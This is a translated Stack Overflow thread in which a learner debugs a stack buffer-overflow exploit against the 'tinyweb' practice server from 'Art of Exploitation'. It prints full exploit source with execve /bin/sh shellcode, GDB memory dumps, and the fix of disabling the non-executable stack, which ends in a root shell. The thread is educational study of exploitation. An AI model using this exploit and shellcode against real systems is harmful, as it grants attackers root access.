如何修复缓冲区溢出返回地址失败?

6
我已经在Jon Erickson's Art of Exploitation中学习缓冲区溢出几天了,但我不明白为什么会出现段错误。据我所知,返回地址已经被正确地覆盖为NOP sled中的地址,但每次程序到达堆栈帧末尾的返回指令时都会抛出段错误。
代码中容易受攻击的部分是 length = recv_line(sockfd, request);,因为缓冲区大小从未被检查。以下是整个函数,取自 tinyweb 程序。
void (handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr)){
unsigned char *ptr, request[500], resource[500];
int fd, length;

printf("[DEBUG] hc:1 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
length = recv_line(sockfd, request);
printf("[DEBUG] hc:2 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);

printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
printf("[DEBUG] hc:3 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);

ptr = strstr(request, " HTTP/");
if(ptr == NULL){
    printf(" NOT HTTP!\n");
} else {
    *ptr = 0;
    ptr = NULL;
    if(strncmp(request, "GET ", 4) == 0)
        ptr = request + 4;
    if(strncmp(request, "HEAD ", 5) ==0)
        ptr = request + 5;

    if(ptr == NULL){
        printf("\tUNKNOWN REQUEST!");
    } 
    else {
        if(ptr[strlen(ptr) -1] == '/')
            strcat(ptr, "index.html");
        strcpy(resource, WEBROOT);
        strcat(resource, ptr);
        fd = open(resource, O_RDONLY, 0);
        printf("\tOpening \'%s\'\t", resource);
        if(fd == -1){
            printf(" 404 Not Found\n");
            send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");
            send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
            send_string(sockfd, "<html><head><title>404 Not Found</title></head>");
            send_string(sockfd, "<body><h1>URL not found</h1></body></html>\r\n");
        } 
        else{
            printf(" 200 OK\n");
            send_string(sockfd, "HTTP/1.0 200 OK\r\n");
            send_string(sockfd, "Server Tiny webserver\r\n\r\n");
            if(ptr == request + 4){
                if( (length = get_file_size(fd)) == -1)
                    fatal("getting resource file size");
                if( (ptr = (unsigned char *) malloc(length)) == NULL)
                    fatal("allocating memory for reading resource");
                read(fd, ptr, length);
                send(sockfd, ptr, length, 0);
                free(ptr);
            }
            close(fd);
        }
    }
}
printf("Shutting down socket.\n");
shutdown(sockfd, SHUT_RDWR);
printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
}

漏洞利用代码如下-
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#include "hacking.h"
#include "hacking-network.h"

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

#define OFFSET 524
#define RETADDR 0xbfdaf708

int main(int argc, char *argv[]){
int i, sockfd, buflen; //, count;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[600];

if(argc < 1){
    printf("Usage: %s <hostname> <# of A's to insert>\n", argv[0]);
    exit(1);
}

if((host_info = gethostbyname(argv[1])) == NULL)
    fatal("looking up hostname");

if((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
    fatal("in socket");

//count = atoi(argv[2]);
    //printf("Count: %d\n", count);
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(81);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8);

if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
    fatal("connecting to target server");

bzero(buffer, 600); 
memset(buffer, '\x90', OFFSET);
*((u_int *)(buffer + OFFSET)) = RETADDR;
memcpy(buffer+300, shellcode, strlen(shellcode));
strcat(buffer, "\r\n"); 
printf("Exploit  buffer:\n");
dump(buffer, strlen(buffer));
send_string(sockfd, buffer);

exit(0);
}

这是来自GDB的信息。
:~/programs/c/exec$ ps aux | grep tinyweb
         2747  0.1  2.3  97432 48012 pts/1    Sl   Dec15   2:37 gedit tinyweb_exploit.c
root     12444  0.0  0.0   1688   248 pts/2    S+   18:32   0:00 ./tinyweb
         12456  0.0  0.0   4012   768 pts/0    S+   18:33   0:00 grep --color=auto tinyweb
:~/programs/c/exec$ sudo gdb -q --pid=12444 --symbols=./tinyweb

warning: not using untrusted file "/home/sam/.gdbinit"
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Attaching to process 12444
Load new symbol table from "/home/sam/programs/c/exec/tinyweb"? (y or n) y
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x001c3416 in __kernel_vsyscall ()
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) c
Continuing.

Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), 
    ntohs(client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfcee1a4: 0x0099bad0  0x00aad4e0  0x0000000f  0xbfcee1c4
0xbfcee1b4: 0x00aacff4  0xbfcee218  0x08048e2f  0x00000004
0xbfcee1c4: 0xbfcee1e4  0x00000004  0xbfcee204  0x00000004
0xbfcee1d4: 0x0804aff4  0xbfcee1e8  0x08048658  0x00000010
(gdb) bt
#0  handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
#1  0x08048e2f in main () at ../code/tinyweb.c:60
(gdb) x/x request
0xbfcedfb0: 0x20544547
(gdb) p /x 0xbfcee1b4 + 8
$5 = 0xbfcee1bc
(gdb) p $5 - 0xbfcedfb0
$6 = 524
(gdb) p /x 0xbfcedfb0 + 200
$7 = 0xbfcee078
(gdb) c
Continuing.

Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), 
ntohs(client_addr_ptr->sin_port), request);
(gdb) x/150xw request
0xbfcedfb0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfc0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfd0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfe0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedff0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee000: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee010: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee020: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee030: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee040: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee050: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee060: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee070: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee080: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee090: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0a0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0d0: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfcee0e0: 0xb099c931  0x6a80cda4  0x6851580b  0x68732f2f
0xbfcee0f0: 0x69622f68  0x51e3896e  0x8953e289  0x9080cde1
0xbfcee100: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee110: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee120: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee130: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee140: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee150: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee160: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee170: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee180: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee190: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee1a0: 0x90909090  0x90909090  0x90909090  0x00000211
0xbfcee1b0: 0x90909090  0x90909090  0x90909090  0xbfcee078
0xbfcee1c0: 0x0000000d  0xbfcee1e4  0x00000005  0xbfcee204
0xbfcee1d0: 0x00000004  0x0804aff4  0xbfcee1e8  0x08048658
0xbfcee1e0: 0x00000010  0xd4920002  0x0100007f  0x00000000
0xbfcee1f0: 0x00000000  0x51000002  0x00000000  0x00000000
0xbfcee200: 0x00000000  0x00000001
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
(gdb) i r eip
eip            0x80491b1    0x80491b1 <handle_connection+893>
    (gdb) x/i 0x080491b1
=> 0x80491b1 <handle_connection+893>:   ret    

小型网络程序已启动,然后附加了GDB到该程序。设置断点以确定缓冲区在内存中的位置(请求@0xbfcedfb0)。使用bt来确定当前返回地址及其位置(返回地址0x08048e2f位于0xbfcee1bc)。确定返回地址距缓冲区为524字节。利用漏洞,在缓冲区内使用200字节的返回地址,并将shellcode放置在300字节处。运行漏洞后,检查缓冲区,其中包含NOP sled、shellcode,并清晰地显示原始返回地址0xbfcee1bc,它现在包含地址0xbfcee078,这显然是指向NOP的缓冲区内的地址。但是,当程序继续执行时,它会抛出一个分段错误。在分段错误后,检查指令指针,指向处理连接堆栈帧中的一行。经过检查,这显示了返回指令。

既然已经有一个有效的内存地址用于返回,为什么在返回指令时会抛出分段错误?

我感到很尴尬,之前没有注意到那个shellcode位。但话说回来,由于ASLR的缘故,我还没有成功利用早期的漏洞,所以我从来没有那么仔细地查看过shellcode。无论如何,这就是我对它进行的更改-

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x89\xe3\x51\x89\xe2\x53\x89\xe1"
"\xcd\x80";

............1.1.1......j.XQh//bin/sh..Q..S.....

很遗憾,我也遇到了同样的问题。下面是一些更多的GDB信息。据我所知,当RET调用时,一些变量(如sockfd)会出现问题,但是DEBUG打印显示,sockfd并没有改变。我尝试通过执行指令来查看发生了什么,但是这并没有揭示太多的信息...

[DEBUG] hc:3 sockfd is at bfefcae0 and contains 0x0000000d
 NOT HTTP!
 Shutting down socket.
[DEBUG] hc:4 sockfd is at bfefcae0 and contains 0x0000000d
Segmentation fault (core dumped)



(gdb) list 120
115                     send(sockfd, ptr, length, 0);
116                     free(ptr);
117                 }
118                 close(fd);
119             }
120         }
121     }
122     printf("Shutting down socket.\n");
123     shutdown(sockfd, SHUT_RDWR);
124     printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd); 
125 }
126 
127 int get_file_size(int fd){
128     struct stat stat_struct;
129     
130     if(fstat(fd, &stat_struct) == -1)
131         return -1;
132     return (int) stat_struct.st_size;
133 }
134     
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) break 120
Breakpoint 2 at 0x804916f: file ../code/tinyweb.c, line 120.

Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
122     printf("Shutting down socket.\n");
(gdb) x/170xw request
0xbfefc8d0: 0x90909090  0x90909090  0x90909090  0x90909090
....Output Trimmed....
0xbfefc990: 0x90909090  0x90909090  0x90909090  0x90909090
                                    ^  
...Output Trimmed....               |________________________RET address location in NOP sled

0xbfefc9f0: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfefca00: 0xb099c931  0x6a80cda4  0x6851580b  0x69622f2f
0xbfefca10: 0x68732f6e  0x8951e389  0xe18953e2  0x909080cd
0xbfefca20: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca30: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca40: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca50: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca60: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca70: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca80: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefca90: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcaa0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcab0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfefcac0: 0x90909090  0x00000000  0x90909090  0x00000211

0xbfefcad0: 0x90909090  0x90909090  0x90909090  0xbfefc998<= RET address

0xbfefcae0: 0x0000000d  0xbfefcb04  0x00000006  0xbfefcb24
0xbfefcaf0: 0x00000004  0x0804aff4  0xbfefcb08  0x08048658
0xbfefcb00: 0x00000010  0xd9a40002  0x0100007f  0x00000000
0xbfefcb10: 0x00000000  0x51000002  0x00000000  0x00000000
0xbfefcb20: 0x00000000  0x00000001  0x00000006  0x00000003
0xbfefcb30: 0x080491f0  0x00000000  0xbfefcbb8  0x00126ce7
0xbfefcb40: 0x00000001  0xbfefcbe4  0xbfefcbec  0xb7810848
0xbfefcb50: 0xbfefcc4c  0xffffffff  0x00b0dff4  0x08048497
0xbfefcb60: 0x00000001  0xbfefcba0  0x00aff136  0x00b0ead0
0xbfefcb70: 0xb7810b28  0x00268ff4

(gdb) bt
#0  handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
#1  0xbfefc998 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

(gdb) x/20i $eip
=> 0x804916f <handle_connection+827>:   movl   $0x804985b,(%esp)
   0x8049176 <handle_connection+834>:   call   0x804880c <puts@plt>
   0x804917b <handle_connection+839>:   mov    0x8(%ebp),%eax
   0x804917e <handle_connection+842>:   movl   $0x2,0x4(%esp)
   0x8049186 <handle_connection+850>:   mov    %eax,(%esp)
   0x8049189 <handle_connection+853>:   call   0x804868c <shutdown@plt>
   0x804918e <handle_connection+858>:   mov    0x8(%ebp),%edx
   0x8049191 <handle_connection+861>:   mov    $0x8049874,%eax
   0x8049196 <handle_connection+866>:   mov    %edx,0x8(%esp)
   0x804919a <handle_connection+870>:   lea    0x8(%ebp),%edx
   0x804919d <handle_connection+873>:   mov    %edx,0x4(%esp)
   0x80491a1 <handle_connection+877>:   mov    %eax,(%esp)
   0x80491a4 <handle_connection+880>:   call   0x804878c <printf@plt>
   0x80491a9 <handle_connection+885>:   add    $0x414,%esp
   0x80491af <handle_connection+891>:   pop    %ebx
   0x80491b0 <handle_connection+892>:   pop    %ebp
   0x80491b1 <handle_connection+893>:   ret    
   0x80491b2 <get_file_size>:   push   %ebp
   0x80491b3 <get_file_size+1>: mov    %esp,%ebp
   0x80491b5 <get_file_size+3>: sub    $0x78,%esp
(gdb) s
123     shutdown(sockfd, SHUT_RDWR);
(gdb) x/x &sockfd
0xbfefcae0: 0x0000000d
(gdb) s
124     printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
(gdb) i r eip
eip            0x804918e    0x804918e <handle_connection+858>
(gdb) s
125 }
(gdb) x/10i $eip
=> 0x80491a9 <handle_connection+885>:   add    $0x414,%esp
   0x80491af <handle_connection+891>:   pop    %ebx
   0x80491b0 <handle_connection+892>:   pop    %ebp
   0x80491b1 <handle_connection+893>:   ret    
   0x80491b2 <get_file_size>:   push   %ebp
   0x80491b3 <get_file_size+1>: mov    %esp,%ebp
   0x80491b5 <get_file_size+3>: sub    $0x78,%esp
   0x80491b8 <get_file_size+6>: lea    -0x60(%ebp),%eax
   0x80491bb <get_file_size+9>: mov    %eax,0x4(%esp)
   0x80491bf <get_file_size+13>:    mov    0x8(%ebp),%eax
(gdb) si
0x080491af  125 }
(gdb) i r eip
eip            0x80491af    0x80491af <handle_connection+891>
(gdb) si
0x080491b0  125 }
(gdb) i r eip
eip            0x80491b0    0x80491b0 <handle_connection+892>
(gdb) info registers
eax            0x3b 59
ecx            0xbfefc6a8   -1074805080
edx            0x26a360 2532192
ebx            0x90909090   -1869574000
esp            0xbfefcad8   0xbfefcad8
ebp            0xbfefcad8   0xbfefcad8
esi            0x0  0
edi            0x0  0
eip            0x80491b0    0x80491b0 <handle_connection+892>
eflags         0x200286 [ PF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) si
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
    (gdb) x/x sockfd
    Cannot access memory at address 0x90909098
    (gdb) x/x &sockfd
    0x90909098: Cannot access memory at address 0x90909098

任何想法是怎么回事?

我认为我们的社区不欢迎有关黑客和漏洞利用的问题。 - greydet
2
@greydet:即使是为了学习目的?难道这本书也应该被禁吗? - Alexey Frunze
2
@ greydet,那么你不理解黑客道德。问题的重点是更好地了解系统的工作原理。保护免受此类漏洞的唯一方法是了解它们的工作原理。如果人们不愿意讨论它们,那么就会失去前进的动力。了解如何利用程序就像训练某人开火一样。程序和武器都是工具,事实上,可以说程序潜在地只是另一种武器。最终,关键在于用户以道德的方式应用它们的使用。 - gr0k
1
可能应该加上一个安全标签。 - rook
3个回答

6

如之前承诺的一样...这里是解释以及修复方法。

在我的系统上 (Ubuntu 10.10),这个漏洞未能成功利用的原因是由于实现了不可执行堆栈(请注意 RW 结尾)。

$ gcc -fno-stack-protector -g -z noexecstack -o tinyweb ../code/tinyweb.c && readelf -l   
tinyweb_exploit | grep -i stack

GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

这导致以下GDB输出。
    Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
61      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),            
ntohs     (client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfff1c54: 0x00d09d90  0xbfff1c90  0x0000000f  0x00000003
0xbfff1c64: 0x00268ff4  0xbfff1cc8  0x08048cec  0x00000004 
          Programs return address at 0xbfff1c6c---^
0xbfff1c74: 0xbfff1c94  0xbfff1c90  0xbfff1cb4  0x00000004
0xbfff1c84: 0x0804aff4  0xbfff1c98  0x08048658  0x00000010
(gdb) bt
#0  handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
#1  0x08048cec in main () at ../code/tinyweb.c:49

(gdb) x/150x request
----Output Trimmed----
0xbfff1b70: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfff1b80: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfff1b90: 0xb099c931  0x6a80cda4  0x6851580b  0x68732f2f
0xbfff1ba0: 0x69622f68  0x51e3896e  0x8953e289  0x9080cde1
0xbfff1bb0: 0x90909090  0x90909090  0x90909090  0x90909090
----Output Trimmed----
0xbfff1c40: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfff1c50: 0x90909090  0x00000000  0x90909090  0x00000211
0xbfff1c60: 0x90909090  0x90909090  0x90909090  0xbfff1b28 
                              Overwritten Return Address-^
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08048fff in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:110
110 }
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

尽管未显示,但返回地址现在包含位于堆栈上方的有效内存位置。以下是网络程序的输出....

Request 127.0.0.1:44576 "����������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
��������������������������������������1�1�1ə��̀j

        Xqh//shh/bin��Q��S��̀�����������������������
    �����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�##"

 NOT HTTP!

Shutting down socket.

Segmentation fault

如前所述,漏洞利用失败了。但是在关闭堆栈保护并使堆栈可执行后...
    $ gcc -z execstack -fno-stack-protector -g -o tinyweb ../code/tinyweb.c && readelf -l  tinyweb | grep      
-i stack
 GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x

Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:61
61      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),     
ntohs(client_addr_ptr->sin_port), request);
(gdb) c
Continuing.

Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:109
109     shutdown(sockfd, SHUT_RDWR);
(gdb) c
Continuing.
process 13666 is executing new program: /bin/dash

回到Web服务器输出.....

Request 127.0.0.1:52107 "������������������������
��������������������������������������������
��������������������������������������������
��������������������������������������������
���������������������������������������������
���������������������������������������������
���������������������������������������1�1�1ə��̀j

                                                                              Xqh//shh/bin��Q��S��̀���������
������������������������������������������������
������������������������������������������������
�����������������������������������������������
���������������������##"

NOT HTTP!

Shutting down socket.

# whoami

root

成功。

这是一个刻意构建的例子来玩耍和学习缓冲区溢出是如何工作的,但处理当前保护措施的普遍教训很有用。在寻找答案时,我发现了这篇关于此的帖子,它很好地回顾了《为了乐趣和利润而粉碎堆栈》并解释了开发人员所做的更改,使得利用程序变得更加困难。

http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/

希望这可以帮助那些将来遇到同样问题的人。


0
尝试在继续之前检查汇编代码:

x/10i $eip

尝试使用stepi而不是continue来调试您的代码。

附言:我不知道你的书,但我的《黑客艺术》中包含了很多人为制造的代码漏洞(例如/shh/bin而不是/bin/sh等等更难以察觉的漏洞)。我认为它们是有意制造的,以保护互联网免受许多所谓的脚本小子复制粘贴攻击代码的侵害。因此,也许这个例子也包含了这种“漏洞”。


0

我认为,当你执行完这条指令后:

=> 0x80491a9 <handle_connection+885>:   add    $0x414,%esp

... GDB失去了找到sockfd实际位置的能力(因为堆栈指针改变了),因此将其报告为NOP sled的一部分。

事实上,sockfd没有被覆盖仅仅是因为x86调用约定(记住,每个操作都是从堆栈指针中进行减法):

  1. 参数推送到堆栈上
  2. 返回地址推送到堆栈上
  3. 本地变量推送到堆栈上

您的攻击覆盖了(2)和(3),但未覆盖(1),因此sockfd保持不变。(只是在您跨过对%esp修改的步骤后,GDB无法确定sockfd是什么。)

更有趣的是,如果您继续单步执行ret指令,看看接下来会发生什么。您在有趣的部分停止了编辑。;-)


我一直想更新这个,但一直没有机会。最终设法让它工作了。 @zed_0xff,一旦解决了问题,从书中提供的漏洞就可以使用。我本来会放更多的GDB,但这很无聊,只是一个令人沮丧的段错误。虽然我打赌你的%ESP分析是正确的,可以解释sockfd为何改变(感谢您对此的解释),但这不是失败的原因。它失败是由于Ubuntu在新版本上阻止攻击者或愚蠢的用户通过非可执行堆栈破坏系统。真是玄学。我将在几天内发布结果。 - gr0k

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接